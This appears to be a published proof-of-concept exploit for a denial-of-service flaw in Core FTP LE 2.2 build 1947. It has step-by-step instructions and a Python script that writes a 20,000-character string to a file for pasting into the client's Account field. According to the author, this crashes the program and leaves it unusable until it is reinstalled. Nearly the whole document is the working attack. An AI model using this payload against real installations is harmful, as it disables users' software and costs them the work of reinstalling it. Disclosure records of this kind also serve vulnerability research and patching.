Core FTP LE version 2.2 suffers from a denial of service vulnerability.
f89d765e78554189a4940369213bc867# Exploit Title: Core FTP LE 2.2 - Denial of Service (PoC)
# Date: 2020-25-02
# Exploit Author: Ismael Nava
# Vendor Homepage: http://www.coreftp.com/
# Software Link: http://www.coreftp.com/download.html
# Version: 2.2 build 1947
# Tested on: Windows 10 Home x64
# CVE : n/a
#STEPS
# Open the program Core FTP LE
# In File select the option Connect
# Click in the option Advanced from the fiel Host / IP / URL
# Run the python exploit script, it will create a new .txt files
# Copy the content of the file "Dog.txt"
# Paste the content in the field Account
# Click in OK
# After Core FTP lE closed, the program did not work again if the user try to
# open again, so it is necessary uninstall and install again
# End :)
buffer = 'R' * 20000
try:
file = open("Dog.txt","w")
file.write(buffer)
file.close()
print("Archive ready")
except:
print("Archive no ready")